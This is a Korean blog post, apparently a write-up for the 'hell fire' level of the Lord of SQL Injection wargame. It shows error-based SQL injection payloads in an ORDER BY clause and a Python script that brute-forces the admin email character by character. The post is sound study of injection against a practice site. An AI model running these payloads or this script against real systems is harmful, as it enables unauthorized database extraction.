보안 공부/Load of SQL injection

[Load of SQL Injection] hell fire (SQL order by)

sh1256 2022. 2. 14. 23:23
728x90

첫화면

 

이번 쿼리엔 order by 구문이 적용되어 있다. 먼저 이 구문에 대해 알아보자. 


[order by]

1. 보통 칼럼명이 옴( 그 칼럼을 기준으로 정렬)

2. 그 칼럼명 뒤에 asc, desc로 오름차순, 내림차순 정리

3. 숫자(n)가 오면 n번째 칼럼을 기준으로 정렬

 

 

처음엔 IF (참(거짓)구문, score, 9999) 방식으로 해서 풀려 했는데 무슨 이유인지 거짓구문을 넣어도 테이블이 잘 생성된다. 

 

따라서 error를 이용하기로 함. 

방법은 2가지. 

1. (select exp(710) where 7=(select length(email) where id='admin'))

2. (select pow(2,99999) where 7=(select length(email) where id='admin'))

3. ?order=1 and id='admin' and if((length(email)=29),1, exp(710)) 이렇게는 가능

 

 

그 중 1번 방법을 사용하기로 하자.

 

[email 알아내기]

import requests
cookies={'PHPSESSID':'1h1qpdjpcu9keu5vn9s0ctqho1'}
url ="https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php?order="
length=0
pw= ""

#(select exp(710) where N=(select length(email) where id='admin'))

for i in range (1, 100):
    search_str="(select exp(710) where "+str(i)+"=(select length(email) where id='admin'))"
    response= requests.get(url+search_str, cookies=cookies)
    print(f'i={i}')
    #print(response.text)
    if response.text.find("rubiya") ==-1:
            length=i
            print(f'length: {i}')
            break

for i in range(1, length+1):
    for j in range(33, 122):#문자범위
        #(select exp(710) where N=(select ord(substr(email,N,1)) where id='admin'))
        search_str="(select exp(710) where "+str(j)+"=(select ord(substr(email,"+str(i)+",1)) where id='admin'))"
        #print("search_str: "+search_str)
        response= requests.get(url+search_str, cookies=cookies)
        #print(response.text)
        
        if response.text.find("rubiya") ==-1:
            pw+=chr(j)
            print("pw: "+pw)
            break

결과

URL 뒤에 ?email=admin_secure_email@emai1.com 입력

 

성공!!